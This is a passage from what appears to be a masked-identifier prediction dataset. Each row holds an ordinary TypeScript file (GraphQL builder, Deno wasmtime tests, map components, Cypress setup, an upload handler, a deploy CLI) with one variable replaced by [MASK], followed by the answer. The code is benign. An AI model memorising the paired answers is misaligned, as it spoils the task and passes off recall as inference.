} from 'jsrequestframework';

export let builder = (): Builder => new Builder();

/**
 * Represents a GraphQL request.
 * @implements {BuildableType<Builder>} Buildable implementation.
 * @implements {RequestType} Request implementation.
 */
export class Self implements BuildableType<Builder>, RequestType {
  gqlQuery: Nullable<string>;
  gqlVariables: Nullable<JSObject<any>>;

  inclFilters: MiddlewareFilter[];
  exclFilters: MiddlewareFilter[];
  retryCount: number;
  rqDescription: Nullable<string>;

  public builder = (): Builder => builder();
  public cloneBuilder = (): Builder => this.builder().withBuildable(this);

  public query = (): string => {
    if (this.gqlQuery !== undefined && this.gqlQuery !== null) {
      return this.gqlQuery;
    } else {
      throw new Error(`Query cannot be nil for ${JSON.stringify(this)}`);
    }
  }

  public variables = (): Nullable<JSObject<any>> => this.gqlVariables;
  public exclusiveFilters = (): MiddlewareFilter[] => this.exclFilters;
  public requestDescription = (): string => this.rqDescription || '';
  public requestRetries = (): number => this.retryCount;

  public inclusiveFilters = (): Nullable<MiddlewareFilter[]> => {
    return this.inclFilters.length == 0 ? undefined : this.inclFilters;
  }
}

/**
 * Builder for GraphQL request.
 * @implements {BuilderType<Self>} Builder implementation.
 * @implements {RequestBuilderType} Request builder implementation.
 */
export class Builder implements BuilderType<Self>, RequestBuilderType {
  private readonly request: Self;

  public constructor() {
    this.request = new Self();
  }

  /**
   * Set the GraphQL query.
   * @param {Nullable<string>} query A string value.
   * @returns this The current Builder isntance.
   */
  public withQuery = (query: Nullable<string>): this => {
    this.request.gqlQuery = query;
    return this;
  }

  /**
   * Set inclusive filters.
   * @param {MiddlewareFilter[]} filters An Array of filters.
   * @returns this The current Builder instance.
   */
  public withInclusiveFilters = (filters: MiddlewareFilter[]): this => {
    this.request.inclFilters = filters;
    return this;
  }
  
  /**
   * Set exclusive filters.
   * @param {MiddlewareFilter[]} filters An Array of filters.
   * @returns this The current Builder instance.
   */
  public withExclusiveFilters = (filters: MiddlewareFilter[]): this => {
    this.request.exclFilters = filters;
    return this;
  }

  /**
   * Set request description.
   * @param {Nullable<string>} description A string value.
   * @returns this The current Builder instance.
   */
  public withRequestDescription = (description: Nullable<string>): this => {
    this.request.rqDescription = description;
    return this;
  }

  /**
   * Set retry count.
   * @param {number} retries A number value.
   * @returns this The current Builder instance.
   */
  public withRequestRetries = (retries: number): this => {
    this.request.retryCount = retries;
    return this;
  }

  public withBuildable = ( [MASK] : Nullable<Self>): this => {
    if ( [MASK]  !== undefined &&  [MASK]  !== null) {
      return this
        .withQuery( [MASK] .gqlQuery)
        .withInclusiveFilters( [MASK] .inclFilters)
        .withExclusiveFilters( [MASK] .exclFilters)
        .withRequestDescription( [MASK] .rqDescription)
        .withRequestRetries( [MASK] .retryCount);
    } else {
      return this;
    }
  }

  public build = (): Self => this.request;
}",buildable
201,"import { assertEquals } from '@std/assert';
import { assertSnapshot } from '@std/testing/snapshot';
import { assert } from ""@std/assert/assert"";

const textDecoder = new TextDecoder('utf-8');
const textEncoder = new TextEncoder();

Deno.test(""arg_get"", async (t) => {
    const output = await new Deno.Command(""wasmtime"", {
        args: ['--argv0', 'args_get.wasm', 'test/target/wasm/debug/build/args_get/args_get.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 0);
    const stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""environ_get"", async (t) => {
    const output = await new Deno.Command(""wasmtime"", {
        args: [""--env"", ""hello=world"", 'test/target/wasm/debug/build/environ_get/environ_get.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 0);
    const stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""fd_fdstat_get"", async (t) => {
    const output = await new Deno.Command(""wasmtime"", {
        args: ['--dir', 'test', 'test/target/wasm/debug/build/fd_fdstat_get/fd_fdstat_get.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 0);
    const stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""fd_prestat_dir_name"", async (t) => {
    const output = await new Deno.Command(""wasmtime"", {
        args: ['--dir', '.', '--dir', 'test', 'test/target/wasm/debug/build/fd_prestat_dir_name/fd_prestat_dir_name.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 0);
    const stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""fd_read"", async (t) => {
    // Notice that wasmtime may only read into the first buffer.
    let  [MASK]  = new Deno.Command(""wasmtime"", {
        args: ['test/target/wasm/debug/build/fd_read/fd_read.wasm'],
        stdin: 'piped',
        stdout: 'piped',
        stderr: 'piped',
    }).spawn()
    let writer =  [MASK] .stdin.getWriter()
    await writer.write(textEncoder.encode(""hello""))
    await writer.close()
    let output = await  [MASK] .output()
    assertEquals(output.code, 0);
    let stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);

     [MASK]  = new Deno.Command(""wasmtime"", {
        args: ['test/target/wasm/debug/build/fd_read/fd_read.wasm'],
        stdin: 'piped',
        stdout: 'piped',
        stderr: 'piped',
    }).spawn()
    writer =  [MASK] .stdin.getWriter()
    await writer.write(textEncoder.encode(""hello, this is a longer sentence, as a quick brown fox jumps over another buffer""))
    await writer.close()
    output = await  [MASK] .output()
    assertEquals(output.code, 0);
    stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""fd_readdir"", async (t) => {
    const output = await new Deno.Command(""wasmtime"", {
        args: ['--dir', 'test', 'test/target/wasm/debug/build/fd_readdir/fd_readdir.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 0);
    const stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""fd_write"", async (t) => {
    // Notice that wasmtime may only write from the first buffer.
    const output = await new Deno.Command(""wasmtime"", {
        args: ['test/target/wasm/debug/build/fd_write/fd_write.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 0);
    const stdout = textDecoder.decode(output.stdout)
    await assertSnapshot(t, stdout);
})

Deno.test(""poll_oneoff"", async () => {
    const start = performance.now()
    await new Deno.Command(""wasmtime"", {
        args: ['test/target/wasm/debug/build/poll_oneoff/poll_oneoff.wasm'],
    }).output()
    const end = performance.now()
    assert(end - start > 1, `only toke ${end - start}ms, expected more than 1ms`)
})

Deno.test(""proc_exit"", async () => {
    const output = await new Deno.Command(""wasmtime"", {
        args: ['test/target/wasm/debug/build/proc_exit/proc_exit.wasm'],
        stdout: 'piped',
        stderr: 'piped',
    }).spawn().output()
    assertEquals(output.code, 122);
})",process
202,"/*
    Copyright 2020-2021. Huawei Technologies Co., Ltd. All rights reserved.

    Licensed under the Apache License, Version 2.0 (the ""License"")
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at

        https://www.apache.org/licenses/LICENSE-2.0

    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an ""AS IS"" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.
*/

import {LatLng, PatternItem, Color} from ""./interfaces"";
import {asyncExec} from ""./utils"";

export interface Circle {
    getCenter(): Promise<LatLng>;
    getFillColor(): Promise<Color>;
    getId(): string;
    getRadius(): Promise<number>;
    getStrokeColor(): Promise<Color>;
    getStrokePattern(): Promise<PatternItem[]>;
    getStrokeWidth(): Promise<number>;
    getTag(): Promise<any>;
    getZIndex(): Promise<number>;
    isClickable(): Promise<boolean>;
    isVisible(): Promise<boolean>;

    remove(): Promise<void>;

    setCenter(center: LatLng): Promise<void>;
    setFillColor(fillColor: Color): Promise<void>;
    setRadius(radius: number): Promise<void>;
    setStrokeColor(strokeColor: Color): Promise<void>;
    setStrokePattern(strokePattern: PatternItem[]): Promise<void>;
    setStrokeWidth(strokeWidth: number): Promise<void>;
    setTag(tag: any): Promise<void>;
    setZIndex(zIndex: number): Promise<void>;
    setClickable(clickable: boolean): Promise<void>;
    setVisible(visible: boolean): Promise<void>;
}

export class CircleImpl implements Circle {

    private readonly id: string;
    private readonly mapDivId: string;
    private readonly mapCapsuleId: number;

    constructor(mapDivId: string, mapCapsuleId: number, componentId: string) {
        this.mapDivId = mapDivId;
        this.mapCapsuleId = mapCapsuleId;
        this.id = componentId;
    }

    getCenter(): Promise<LatLng> {
        return this.getComponentOptions('getCenter');
    }

    getFillColor(): Promise<Color> {
        return this.getComponentOptions('getFillColor');
    }

    getId(): string {
        return this.id;
    }

    getRadius(): Promise<number> {
        return this.getComponentOptions('getRadius');
    }

    getStrokeColor(): Promise<number> {
        return this.getComponentOptions('getStrokeColor');
    }

    getStrokePattern(): Promise<PatternItem[]> {
        return this.getComponentOptions('getStrokePattern');
    }

    getStrokeWidth(): Promise<number> {
        return this.getComponentOptions('getStrokeWidth');
    }

    getTag(): Promise<any> {
        return this.getComponentOptions('getTag');
    }

    getZIndex(): Promise<number> {
        return this.getComponentOptions('getZIndex');
    }

    isClickable(): Promise<boolean> {
        return this.getComponentOptions('isClickable');
    }

    isVisible(): Promise<boolean> {
        return this.getComponentOptions('isVisible');
    }

    remove(): Promise<void> {
        return asyncExec(""HMSMap"", ""removeComponent"", [this.mapDivId, this.id]);
    }

    setCenter(center: LatLng): Promise<void> {
        return this.setComponentOptions('setCenter', {'center': center});
    }

    setFillColor(fillColor: Color): Promise<void> {
        return this.setComponentOptions('setFillColor', {'fillColor': fillColor});
    }

    setRadius(radius: number): Promise<void> {
        return this.setComponentOptions('setRadius', {'radius': radius});
    }

    setStrokeColor(strokeColor: number): Promise<void> {
        return this.setComponentOptions('setStrokeColor', {'strokeColor': strokeColor});
    }

    setStrokePattern(strokePattern: PatternItem[]): Promise<void> {
        return this.setComponentOptions('setStrokePattern', {'strokePattern': strokePattern});
    }

    setStrokeWidth(strokeWidth: number): Promise<void> {
        return this.setComponentOptions('setStrokeWidth', {'strokeWidth': strokeWidth});
    }

    setTag(tag: any): Promise<void> {
        return this.setComponentOptions('setTag', {'tag': tag});
    }

    setZIndex(zIndex: number): Promise<void> {
        return this.setComponentOptions('setZIndex', {'zIndex': zIndex});
    }

    setClickable(clickable: boolean): Promise<void> {
        return this.setComponentOptions('setClickable', {'clickable': clickable});
    }

    setVisible(visible: boolean): Promise<void> {
        return this.setComponentOptions('setVisible', {'visible': visible});
    }

    private setComponentOptions(func: string, params: any): Promise<any> {
        return asyncExec('HMSMap', 'componentOptions', [this.mapDivId, this.id, 'set', func, params]);
    }

    private async getComponentOptions(func: string): Promise<any> {
        const  [MASK]  = await asyncExec(""HMSMap"", ""componentOptions"", [this.mapDivId, this.id, 'get', func, {}]);
        return  [MASK] .value;
    }
}
",result
203,"import { readMetadata } from '../services/readMetadata';
import { deleteLoginAction } from '../services/deleteLoginAction';

/**
 * Ensure the V1 Action exists.
 */
export function v1LoginActionMustExist() {
  Cypress.log({ message: '**--- Action check: start**' });

  readMetadata().then(response => {
    const  [MASK]  = !!response.body.actions?.find(
      // TODO: properly type it
      action => action.name === 'TODO:'
    );

    if ( [MASK] ) {
      Cypress.log({ message: '**--- The action exists**' });
      Cypress.log({ message: '**--- Action check: end**' });
      return;
    }

    Cypress.log({ message: '**--- The action does not exist**' });

    cy.request('POST', 'http://localhost:8080/v1/metadata', {
      type: 'bulk',
      source: 'default',
      args: [
        {
          type: 'set_custom_types',
          args: {
            scalars: [],
            input_objects: [
              {
                name: 'SampleInput',
                description: null,
                fields: [
                  {
                    name: 'username',
                    type: 'String!',
                    description: null,
                  },
                  {
                    name: '<PASSWORD>',
                    type: 'String!',
                    description: null,
                  },
                ],
              },
            ],
            objects: [
              {
                name: 'SampleOutput',
                description: null,
                fields: [
                  {
                    name: 'accessToken',
                    type: 'String!',
                    description: null,
                  },
                ],
              },
              {
                name: 'LoginResponse',
                fields: [
                  {
                    name: 'accessToken',
                    type: 'String!',
                  },
                ],
              },
            ],
            enums: [],
          },
        },
        {
          type: 'create_action',
          args: {
            name: 'v1Login',
            definition: {
              arguments: [
                {
                  name: 'arg1',
                  type: 'SampleInput!',
                  description: null,
                },
              ],
              kind: 'synchronous',
              output_type: 'SampleOutput',
              handler: 'http://host.docker.internal:3000',
              type: 'mutation',
              headers: [],
              timeout: null,
              request_transform: {
                version: 1,
                template_engine: 'Kriti',
                method: 'GET',
                url: '{{$base_url}}/users',
                query_params: {},
                body:
                  '{\n  ""users"": {\n    ""name"": {{$body.input.arg1.username}}\n  }\n}',
                content_type: 'application/json',
              },
            },
            comment: null,
          },
        },
      ],
    })
      .then(response => {
        expect(response.body, 'Response body exists').to.not.be.null;
        expect(response.body, 'Response body is an array').to.be.a('array');
        expect(
          response.body[0],
          'Response body contains success'
        ).to.have.property('message', 'success');
      })
      .then(() => {
        Cypress.log({ message: '**--- The action has been created**' });
        Cypress.log({ message: '**--- Action check: end**' });
      });
  });
}
",actionExists
204,"// import * as fs from 'fs';
import * as commander from 'commander';
const zlogger = require('zlogger');

// import * as ConsoleLogger from 'zlogger';

export interface IOption {
  typescript: boolean;
  host?: string;
  source?: string;
}

const defaultOption: IOption = {
  typescript: false,
  source: 'static',
};

/**
 * 读取静态文件
 */
class WxappImageLoader {
  /**
   * 用户的配置，从命令行参数读取。
   */
  private option: IOption;
  private logger: ConsoleLogger;

  constructor( [MASK] : commander.Command) {
    this.logger = new ConsoleLogger({
      prefix: '',
      time: false,
    });
    const option: IOption = defaultOption;
    if ( [MASK] .typescript) {
      option.typescript = true;
    }
    this.option = option;
  }

  public async load() {
    const { typescript } = this.option;
    // const sourcePath = path.resolve(process.cwd(), source);

    if (typescript) {
      this.logger.info('生成 ts 文件');
    } else {
      // tslint:disable-next-line: no-console
      this.logger.info('生成 ts 文件');
    }
  }
}

export { WxappImageLoader };
",input
205,"
import { Injectable, Inject } from '@angular/core';
import { HttpClient } from '@angular/common/http';
import { Observable } from 'rxjs';
import { stringify } from 'querystring';

@Injectable()
export class AccountService {    
    constructor(private http: HttpClient,@Inject('BASE_URL') private baseUrl: string){ }

    public RegisterAsync(vm: Rainbow.ViewModels.Users.RegisterUserVM): Observable<Yunyong.Core.AsyncTaskResult> {
        return this.http.post<Yunyong.Core.AsyncTaskResult>(`${this.baseUrl}api/Account/Register`, vm);
    }

    public LoginAsync(vm: Rainbow.ViewModels.Users.LoginVM): Observable<Rainbow.ViewModels.Users.LoginResultVM> {
        return this.http.post<Rainbow.ViewModels.Users.LoginResultVM>(`${this.baseUrl}api/Account/Login`, vm);
    }

    public ForgetPasswordAsync(vm: Rainbow.ViewModels.Users.ForgetPasswordVM): Observable<Yunyong.Core.AsyncTaskResult> {
        return this.http.get<Yunyong.Core.AsyncTaskResult>(`${this.baseUrl}api/Account/ForgetPassword?${stringify(vm)}`);
    }

    public GetUserAsync(): Observable<Rainbow.ViewModels.Users.UserVM> {
        return this.http.get<Rainbow.ViewModels.Users.UserVM>(`${this.baseUrl}api/Account/UserInfo`);
    }

    public UserAvatar( [MASK] : String): Observable<String> {
        return this.http.get<String>(`${this.baseUrl}api/Account/UserAvatar/${ [MASK] }`);
    }

}

",userId
206,"""use strict"";

import * as assert from ""assert"";
import { Promise } from ""es6-promise"";
import * as fs from ""fs"";
import * as request from ""request"";

export class Imageclassification {

  private apiKey: string;
  private baseUrl: string;

  constructor(
    apiKey: any,
    baseUrl: string = ""https://sandbox.api.sap.com/ml/imageclassification/classification"") {
    assert(apiKey, ""apiKey is required"");
    this.apiKey = apiKey;
    this.baseUrl = baseUrl;
  }

  public classification(files: string | Buffer): Promise<any> {
    return new Promise<any>((resolve, reject) => {

      if (Buffer.isBuffer(files)) {
        this.call(resolve, reject, ""image.jpg"", files);
      } else {
        fs.readFile(files, {}, (fileErr, fileData) => {
          if (fileErr) {
            return reject(fileErr);
          }
          this.call(resolve, reject, files, fileData);
        });
      }
    });
  }

  /*eslint no-unused-vars [""off"", { ""args"": ""all"" }]*/
  public customizable(modelName: string, version: string, files: string): Promise<any> {
    return new Promise<any>((resolve, reject) => {
      // const url = ""/ml/imageclassification/models/"" + modelName + ""/versions/"" + version;
      reject(""not implemented"");
    });
  }

  private call(resolve: any, reject: any, files: string, fileData: Buffer) {
    const formData = {
      files: { value: fileData, options: files },
    };

    const headers = {
      APIKey: this.apiKey,
      Accept: ""application/json"",
    };

    const url = this.baseUrl;

    request.post({ url, formData, headers }, (err, response,  [MASK] ) => {
      if (err) {
        return reject(err);
      }
      if (response.statusCode === 404) {
        return reject( [MASK] );
      }
      try {
        resolve(JSON.parse( [MASK] ));
      } catch (exception) {
        return reject(exception);
      }
    });
  }
}
",body
207,"import dbConnect from '../../src/middleware/mongodb';
import Image from '../../src/api/db/ImageUrl';
import initMiddleware from '../../src/middleware/init-middleware';
import { v4 as uuidv4 } from 'uuid';
import multer from 'multer';
const upload = multer();
export const config = {
	api: {
		bodyParser: false,
	},
};
const multerAny = initMiddleware(upload.any());

export default async function handler(req: any, res: any) {
	const { method } = req;

	await dbConnect();

	switch (method) {
		case 'POST':
			try {
				await multerAny(req, res);

				if (!req.files?.length || req.files.length > 1) {
					return res.status(405).json({ message: 'No formdata' });
				}
				const blob = req.files[0];
				if (!blob.buffer)
					return res.status(405).json({ message: 'No formdata' });

				const makeId = async function (): Promise<string> {
					const uuid = uuidv4().split('').slice(0, 5).join('');
					const  [MASK]  = await Image.findOne({ alias: uuid });
					if ( [MASK]  &&  [MASK] ._id) {
						return makeId();
					}
					return uuid;
				};

				const image = await Image.create({
					data: blob.buffer,
					alias: await makeId(),
					style: req.headers?.style?.toString()?.slice(0, 5),
					name: req.headers?.name?.toString()?.slice(0, 10),
				});

				res.status(201).json({
					success: true,
					url: `${process.env.URL || 'http://localhost:3000'}/${image.alias}`,
					delete: `${process.env.URL || 'http://localhost:3000'}/api/delete/${
						image._id
					}`,
				});
			} catch (error) {
				res.status(400).json({ success: false, error });
			}
			break;
		default:
			res.status(400).json({ success: false, message: 'Only post requests' });
			break;
	}
}
",found
208,"// 右键扩展
import editor from '@/store/editor'
import EventEmitter from '@/utils/EventEmitter'
import { isAppendAction } from '@/utils/BpmnDesignerUtils'

import type Modeler from 'bpmn-js/lib/Modeler'
import type PopupMenu from 'diagram-js/lib/features/popup-menu/PopupMenu'
import type { Element } from 'diagram-js/lib/model/Types'
import type Canvas from 'diagram-js/lib/core/Canvas'
import type { Point } from 'diagram-js/lib/util/Types'
import type { Event } from 'diagram-js/lib/core/EventBus'

type ContextMenuEvent = {
  element: Element
  originalEvent: MouseEvent
} & Event

export default function (modeler: Modeler) {
  const config = editor().getEditorConfig
  if (!config.contextmenu) return
  modeler.on('element.contextmenu', 2000, (event: ContextMenuEvent) => {
    const { element, originalEvent } = event

    // 自定义右键菜单
    if (config.customContextmenu) {
      return EventEmitter.emit('show-contextmenu', originalEvent, element)
    }

    // 原生面板扩展
    // 1. 更改元素类型
    // ts-ignore
    if (!isAppendAction(element)) {
      return config.templateChooser
        ? openEnhancementPopupMenu(modeler, element, originalEvent)
        : openPopupMenu(modeler, element, originalEvent)
    }
    // 2. 创建新元素 (仅开始模板扩展时可以)
    if (!config.templateChooser) return
    const connectorsExtension: any = modeler.get('connectorsExtension')
    connectorsExtension &&
      connectorsExtension.createAnything(originalEvent, getContextMenuPosition(originalEvent))
  })
}

// default replace popupMenu
function openPopupMenu(modeler: Modeler, element: Element, event: MouseEvent) {
  const popupMenu = modeler.get<PopupMenu>('popupMenu')
  if (popupMenu && !popupMenu.isEmpty(element, 'bpmn-replace')) {
    popupMenu.open(element, 'bpmn-replace', { x: event.clientX + 10, y: event.clientY + 10 })
    // 设置画布点击清除事件
    const canvas = modeler.get<Canvas>('canvas')
    const container = canvas.getContainer()
    const closePopupMenu = (ev) => {
      if (popupMenu && popupMenu.isOpen() && ev.delegateTarget.tagName === 'svg') {
        popupMenu.close()
        container.removeEventListener('click', closePopupMenu)
      }
    }
    container.addEventListener('click', closePopupMenu)
  }
}

// templateChooser enhancement replace popupMenu
function openEnhancementPopupMenu(modeler: Modeler, element: Element, event: MouseEvent) {
  const replaceMenu: any = modeler.get('replaceMenu')
  if (replaceMenu) {
    replaceMenu.open(element, getContextMenuPosition(event, true))
  }
}

///// utils
function getContextMenuPosition(event: MouseEvent,  [MASK] ?: boolean): Point {
  return {
    x: event.clientX + ( [MASK]  ? 10 : 0),
    y: event.clientY + ( [MASK]  ? 25 : 0)
  }
}
",offset
209,"import { Recorder } from './recorder';
export class Observer {
    protected _options: any;
    protected _recorder: Recorder;
    protected _media: HTMLVideoElement;
    protected _is_live: boolean;

    constructor(media: HTMLVideoElement, options?: any) {
        this._options = options
        this._media = media;
        this._is_live = false;
        this._recorder = new Recorder(this._options?.mode);
    }

    protected _record(event: String) {
        return  ()  => {
            switch (event) {
                case 'loadstart':
                    this._recorder.join_start();
                    break;
                case 'canplay':
                    this._recorder.join_end();
                    break;
                case 'playing':
                    this._recorder.state = 'playing';
                    if (this._recorder.play_t0 == 0) {
                        this._recorder.play_t0 = performance.now();
                    }
                    break;
                case 'pause':
                    this._recorder.state = 'pause';
                    break;
                case 'ended':
                    this._recorder.state = 'ended';
                    break;
                default:
                    break;
            }   
        }
    }

    private setStats() {
        setInterval(() => {
            // get frame statistics
            const  [MASK]  = this._media.getVideoPlaybackQuality();
            const total_dropped_frame =  [MASK] .droppedVideoFrames;
            this._recorder.total_dropped_frame = total_dropped_frame;
            this._recorder.current_time = this._media.currentTime;
            // get quality statistics
            this._recorder.height = this._media.videoHeight.toString();
            this._recorder.width = this._media.videoWidth.toString();
            // get page element info
            this._recorder.video_display_area_height = this._media.height.toString();
            this._recorder.video_display_area_width = this._media.width.toString();
            // get meta info
            this._recorder.volume = this._media.volume;
            this._recorder.visibility = document.visibilityState;
            this._recorder.duration = this._is_live ? this._media.duration : 0;
            // set player state
            this._recorder.record_play();
            this._recorder.record_pause();
        }, 10000);
    }

    addListener () {
        this._media.addEventListener('loadstart', this._record('loadstart'));
        this._media.addEventListener('canplay', this._record('canplay'));
        this._media.addEventListener('pause', this._record('pause'));
        this._media.addEventListener('ended', this._record('ended'));
        this._media.addEventListener('playing', this._record('playing'));
        this.setStats();
    }

    removeListener () {
        console.log('Observe Process stop ...')
    }
}

",video_playback_quality
210,"import { Application } from ""./Application"";
import { Renderer } from ""../renderers/Renderer"";
import { TextureFormat } from ""../resources/TextureFormat"";

export abstract class WindowApplication extends Application
{
    protected _date: Date

    protected _windowTitle: string
    protected _xPosition: number
    protected _yPosition: number
    protected _width: number
    protected _height: number
    protected _clearColor: number[]
    protected _allowResize: boolean

    protected _windowID: number

    protected _colorFormat: TextureFormat
    protected _depthStencilFormat: TextureFormat
    protected _numMultisamples: number
    protected _renderer: Renderer

    protected _lastTime: number
    protected _accumulatedTime: number
    protected _frameRate: number

    protected _frameCount: number
    protected _accumulatedFrameCount: number
    protected _timer: number
    protected _maxTimer: number

    constructor(windowTitle: string, xPosition: number,
        yPosition: number, width: number, height: number,
        clearColor: number[])
    {
        super()

        this._date = new Date()

        this._windowTitle = windowTitle
        this._xPosition = xPosition
        this._yPosition = yPosition
        this._width = width
        this._height = height
        this._clearColor = clearColor
        this._allowResize = true

        this._windowID = 0
        this._renderer = null
        this._lastTime = -1
        this._accumulatedTime = 0
        this._frameRate = 0
        this._frameCount = 0
        this._accumulatedFrameCount = 0
        this._timer = 30
        this._maxTimer = 300

        // TODO Path if neccessary
        this._colorFormat = TextureFormat.A8R8G8B8
        this._depthStencilFormat = TextureFormat.D24S8
        this._numMultisamples = 0
    }

    public dispose(): void
    {

    }

    public run(numArguments: number, args: string[]): number
    {
        let  [MASK] : WindowApplication = Application.TheApplication as WindowApplication
        return  [MASK] .main(numArguments, args)
    }

    public main(numArguments: number, args:string[]): number
    {
        return 0
    }

    // member access
    public get windowTitle(): string
    {
        return this._windowTitle
    }

    public get xPosition(): number
    {
        return this._xPosition
    }

    public get yPosition(): number
    {
        return this._yPosition
    }

    public get width(): number
    {
        return this._width
    }

    public get height(): number
    {
        return this._height
    }

    public get aspectRatio(): number
    {
        return this._width/this._height
    }

    public set windowID(windowID: number)
    {
        this._windowID = windowID
    }

    public get windowID(): number
    {
        return this._windowID
    }

    public get renderer(): Renderer
    {
        return this._renderer
    }

    // event callbacks
    public onInitialize(): boolean
    {
        this._renderer.clearColor = this._clearColor
        return true
    }

    public onTerminate(): void
    {
    }

    public onMove(x: number, y: number): void
    {
        this._xPosition = x
        this._yPosition = y
    }

    public onResize(width: number, height: number): void
    {
        if(width > 0 && height > 0)
        {
            if(this._renderer)
            {
                this._renderer.resize(width, height)
            }

            this._width = width
            this._height = height
        }
    }
    
    public onPrecreate(): boolean
    {
        return true
    }

    public onPreidle(): void
    {
        this._renderer.clearBuffers()
    }

    public onDisplay(): void {}
    public onIdle(): void {}
    public onKeyDown(key: string, x: number, y: number): boolean { return false }
    public onKeyUp(key: string, x: number, y: number): boolean { return false }
    public onSpecialKeyDown(key: number, x: number, y: number): boolean { return false }
    public onSpecialKeyUp(key: number, x: number, y: number): boolean { return false }
    public onMouseClick(button: number, state: number, x: number, y: number,
        modifiers: number): boolean { return false }
    public onMotion(button: number, x: number, y: number, modifiers: number): boolean { return false }
    public onPassiveMotion(x: number, y: number): boolean { return false }
    public onMouseWheel(delta: number, x: number, y: number, modifiers: number): boolean { return false }

    // mouse position
    public setMousePosition(x: number, y: number): void {}
    public getMousePosition(): number[] { return [0,0] }

    // font
    public getStringWidth(text: string): number { return 0 }
    public getCharacterWidth(character: string): number { return 0 }
    public getFontHeight(): number { return 0 }

    // TODO key identifiers

    // performance measurements
    protected resetTime(): void
    {
        this._lastTime = -1
    }

    protected measureTime(): void
    {
        if(this._lastTime == 1)
        {
            this._lastTime = this._date.getTime() / 1000
            this._accumulatedTime = 0
            this._frameRate = 0
            this._frameCount = 0
            this._accumulatedFrameCount = 0
            this._timer = this._maxTimer
        }

        // accumulate the time only when the miniature time allows it
        if(--this._timer == 0)
        {
            let currentTime: number = this._date.getTime() / 1000
            let delta: number = currentTime - this._lastTime
            this._lastTime = currentTime
            this._accumulatedTime += delta
            this._accumulatedFrameCount += this._frameCount
            this._frameCount = 0
            this._timer = this._maxTimer
        } 
    }

    protected updateFrameCount(): void
    {
        ++this._frameCount
    }

    protected drawFrameRate(x: number, y: number, color: number[]): void
    {
        if(this._accumulatedTime > 0)
        {
            this._frameRate = this._accumulatedFrameCount / this._accumulatedTime
        }
        else
        {
            this._frameRate = 0
        }
        // TODO display on renderer 
        // mRenderer.drawFramerate(x, y, color, message)
        console.log(`fps: ${this._frameRate}`)
    }
}",theApp
211,"import * as http from 'http';
import * as fs from 'fs';

import { IDataConnector } from '../libs/dataconnector/dataconnector';
import { DatabaseConnector } from '../libs/dataconnector/databaseconnector';
import { FileConnector } from '../libs/dataconnector/fileconnector';
import { CMSResources } from '../libs/cms/resources';
import { CMSFormItems } from '../libs/cms/formitems';
import { RequestHandler } from '../libs/requesthandler';

const DEPLOY_FOLDER = ""../out"";

let packageJson = require('../package.json');

class App {

    private connector: IDataConnector;

    public handleCommandLineCall(command: string, type: string, folder?: string): void {
        try {
            
            if(!this.isValidEnvocation(command, type, folder)) {
                throw Error (""Invalid Invocation"");
            }

            console.info(""Command Arguments:"", command, type, folder);

            if(command === ""run"") {
                console.info(""Starting Webserver "");
                this.startWebserver(type, folder);
            } else if(command === ""setup"") {
                console.info(""Starting Setup "");
                if(type === ""file"") {
                    console.info(""\tFILE "");
                    this.connector = new FileConnector(folder);
                } else if(type === ""database"") {
                    console.info(""\tDATABASE "");
                    this.connector = new DatabaseConnector(process.env.DATABASE_URL);
                } else {
                    throw Error (""Invalid Type"");
                }
                this.connector.setupDatabase().then(
                    x => process.exit()
                );
            } else if(command === ""deploy"") {
                this.deploy();
            } else {
                throw Error (""Invalid Command"");
            }
           
        } catch (error) {
            console.info(error.message);
        }
    }

    private deleteDirectory(directory: string, deleteparent: boolean): void {
        let that = this;
        let files = fs.readdirSync(directory);

        for(let file of files) {
            if(fs.statSync(directory + ""/"" + file).isDirectory()) {
                that.deleteDirectory(directory + ""/"" + file, true);
            } else {
                that.deleteFile(directory + ""/"" + file);
            }
        }
        if(deleteparent){
            fs.rmdirSync(directory);
        }
    }

    private deleteFile(file: string): void {
        fs.unlinkSync(file);
    }

    private createDirectory(directory: string): void {
        if(!fs.existsSync(directory)) {
            fs.mkdirSync(directory);
        }
    }

    private copyFile(source: string, destination: string): void {
        let that = this;
        let dir = (/^[^\/]*\/(.*)(?=\/[^\/]+$)/gi.exec(destination)[0]);

        dir.split(""/"").reduce( (p: any, c: any): any => { 
            let directory = p + (p !==""""? ""/"" :"""") + c;
            that.createDirectory(directory);
            return directory;
        }, """");
  
        fs.createReadStream(source).pipe(fs.createWriteStream(destination));
    }

    private copyFiles(source: string, destination: string): void {
        let files = fs.readdirSync(source);

        for(let file of files) {
            let currentFile = source + ""/"" + file;
            if(fs.statSync(currentFile).isDirectory()){
                if(/(\.\/bin)|(\.\/libs)|(\.\/setup)/.test(currentFile)) {
                    this.copyFiles(currentFile, destination + ""/"" + file );
                }
            } else {
                if(!/\.?(ts)|(map)|(npmignore)|(gitignore)|(package.json)$/.test(file)){
                    this.copyFile(currentFile, destination + ""/"" + file);
                }
            }
        }
    }

    public deploy(): void {
        this.deleteDirectory(DEPLOY_FOLDER, false);
        this.copyFiles(""."", DEPLOY_FOLDER);

        let deploy_file = DEPLOY_FOLDER + ""/package.json"";
        
        let newPackage: any = {
            ""scripts"" : {""start"": ""node bin/app.js run database""}
        }

        newPackage.name = packageJson.name;
        newPackage.version = packageJson.version;
        newPackage.dependencies = packageJson.dependencies;

